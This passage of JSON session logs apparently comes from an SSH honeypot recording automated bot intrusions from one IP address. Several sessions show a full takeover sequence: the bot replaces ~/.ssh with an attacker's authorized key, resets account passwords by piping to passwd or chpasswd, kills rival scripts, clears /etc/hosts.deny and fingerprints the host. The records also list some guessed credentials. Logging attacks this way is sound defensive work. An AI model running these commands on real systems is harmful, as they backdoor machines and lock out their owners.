\"123456\\nQpjsOL3Icnuw\\nQpjsOL3Icnuw\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:41:51.229441+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:41:51.229802+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:41:51.820339+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:41:52.407198+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:41:53.356077+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:41:53.860130+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:41:54.453378+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:41:54.454190+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:41:55.041575+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:41:55.042444+00:00","kind":"output","latency_ms":null,"data":" 11:41:55 up 6 days, 8:32, 0 user, load average: 0.12, 0.16, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:41:55.635117+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:41:55.636155+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:41:56.620443+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:41:56.621289+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:41:57.209525+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:41:57.210018+00:00","kind":"output","latency_ms":null,"data":"top - 11:41:57 up 6 days, 8:32, 0 user, load average: 0.12, 0.16, 0.11\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:41:57.798025+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:41:57.798515+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:41:58.789921+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:41:58.790452+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:41:59.739213+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:41:59.739951+00:00","kind":"output","latency_ms":null,"data":"bill"},{"seq":29,"at":"2026-08-26T11:42:01.118272+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:42:01.678674+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:42:02.272513+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:42:02.769490+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"bill","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"ef312667-4883-4552-bf1c-8bf2bfaebc4d","name":"thorny-clever-egret","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":43772,"username":"bill","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:41:47.486555+00:00","ended_at":"2026-08-26T11:41:48.523056+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"bill","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b174d873-608c-4ca8-9b1e-f41246049956","name":"northern-arctic-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":43756,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:41:44.412168+00:00","ended_at":"2026-08-26T11:41:45.705310+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"297dd5dd-940c-4ec1-8e0e-cdc4a634979f","name":"gleaming-vernal-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":52474,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":943,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:37:43.080918+00:00","ended_at":"2026-08-26T11:37:43.851050+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T11:37:21.855747+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:37:22.854964+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:37:29.094893+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:37:29.095616+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:37:30.039638+00:00","kind":"input","latency_ms":null,"data":"echo \"root:V2a322mAoLeb\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:37:31.028674+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:37:32.015267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:37:32.015924+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:37:33.005281+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:37:33.576305+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:37:34.167651+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:37:34.680077+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:37:35.272694+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:37:35.273212+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:37:35.861785+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:37:35.862249+00:00","kind":"output","latency_ms":null,"data":" 11:37:35 up 6 days, 8:27, 0 user, load average: 0.1, 0.12, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:37:36.853157+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:37:36.853683+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:37:37.443035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:37:37.443721+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:37:38.393150+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:37:38.393891+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:38 up 6 days, 8:27, 0 user, load average: 0.1, 0.12, 0.06\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:37:38.981487+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:37:38.982231+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:37:39.973812+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:37:39.974398+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:37:40.925584+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:37:40.935817+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:37:41.519415+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:37:42.138710+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:37:43.081684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:37:43.665470+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!qAz@wSx#eDc","method":"password","accepted":true,"tier":"other"}]} {"id":"ff668f3e-b80d-42c2-a70a-444800358796","name":"twilight-cobalt-boar","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":47100,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:37:27.544494+00:00","ended_at":"2026-08-26T11:37:28.911062+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c9e9a680-9441-49b6-bc46-77a63e953251","name":"wistful-freckled-petrel","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":47098,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:37:24.744911+00:00","ended_at":"2026-08-26T11:37:25.828021+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"097da1aa-056a-4dde-9422-34bf6a00ec27","name":"barren-gentle-onager","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":37514,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:33:00.044099+00:00","ended_at":"2026-08-26T11:34:00.052304+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"fd738abe-884b-443c-bfd1-c3ea9b6fe0bf","name":"snowy-forlorn-kestrel","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":41352,"username":"sgp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":612,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:29:09.002582+00:00","ended_at":"2026-08-26T11:29:10.410808+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-26T11:28:39.129878+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:28:40.163305+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:28:56.559615+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:28:56.559905+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:28:57.172424+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sgp@123\\n6ICF6DOV3xqm\\n6ICF6DOV3xqm\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:28:57.787343+00:00","kind":"input","latency_ms":null,"data":"echo \"sgp@123\\n6ICF6DOV3xqm\\n6ICF6DOV3xqm\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:28:58.803934+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:28:58.805017+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:28:59.415261+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:28:59.934833+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:29:00.548635+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:29:01.067702+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:29:01.683276+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:29:01.685365+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:29:02.292661+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:29:02.292951+00:00","kind":"output","latency_ms":null,"data":" 11:29:02 up 6 days, 8:19, 0 user, load average: 0.09, 0.1, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:29:02.910633+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:29:02.911139+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:29:03.523786+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:29:03.525580+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:29:04.546830+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:29:04.547326+00:00","kind":"output","latency_ms":null,"data":"top - 11:29:04 up 6 days, 8:19, 0 user, load average: 0.09, 0.1, 0.1\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:29:05.159103+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:29:05.159769+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:29:05.770552+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:29:05.771201+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:29:06.753730+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:29:06.754498+00:00","kind":"output","latency_ms":null,"data":"sgp"},{"seq":29,"at":"2026-08-26T11:29:07.773761+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:29:08.393052+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:29:09.003307+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:29:09.580190+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sgp","password":"sgp@123","method":"password","accepted":true,"tier":"other"}]} {"id":"f7dfcc3b-71c0-47bd-81be-554ae7aa977c","name":"gloomy-proud-marmot","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":41680,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:28:48.544597+00:00","ended_at":"2026-08-26T11:28:56.551325+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"585bf984-54ae-48e9-8fe4-9b823da3c4fe","name":"regal-sandy-cougar","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":37248,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:28:40.534392+00:00","ended_at":"2026-08-26T11:29:40.561455+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"516fef90-b1ef-4b03-9a67-5462305b5188","name":"northern-lunar-wren","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":51144,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:24:19.974410+00:00","ended_at":"2026-08-26T11:25:19.976728+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"8863a548-b8f2-4278-9da1-8cf37203ed60","name":"tidal-dusky-ibis","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":34846,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:20:00.648512+00:00","ended_at":"2026-08-26T11:20:08.656118+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"905465b1-eb12-4e0b-9f8e-7e24b7e665a0","name":"peaty-crystal-weasel","protocol":"ssh","channel_kind":null,"src_ip":"165.154.12.137","src_port":34704,"username":null,"client_version":"","auth_attempts":0,"automation":"unknown","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:15:38.712622+00:00","ended_at":"2026-08-26T11:15:46.719813+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"759c44d5-79aa-42ea-8cc4-e88cff721379","name":"blithe-merry-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":48552,"username":"dev","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":589,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:11:56.398052+00:00","ended_at":"2026-08-26T11:11:57.985697+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-26T11:11:20.270540+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:11:21.268642+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:11:37.655823+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:11:37.656730+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:11:38.246099+00:00","kind":"input","latency_ms":null,"data":"echo -e \"dev11\\nFOiNdTGD7cgE\\nFOiNdTGD7cgE\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:11:39.411159+00:00","kind":"input","latency_ms":null,"data":"echo \"dev11\\nFOiNdTGD7cgE\\nFOiNdTGD7cgE\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:11:39.998086+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:11:40.450951+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:11:41.042742+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:11:41.883511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:11:42.472476+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:11:43.443494+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:11:44.033159+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:11:44.560292+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:11:45.547738+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:11:46.177113+00:00","kind":"output","latency_ms":null,"data":" 11:11:46 up 6 days, 8:01, 0 user, load average: 0.27, 0.22, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:11:46.764099+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:11:47.320803+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:11:47.908960+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:11:48.215624+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:11:48.805156+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:11:49.640224+00:00","kind":"output","latency_ms":null,"data":"top - 11:11:49 up 6 days, 8:01, 0 user, load average: 0.27, 0.22, 0.21\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:11:50.583835+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:11:51.143844+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:11:51.731304+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:11:52.514566+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 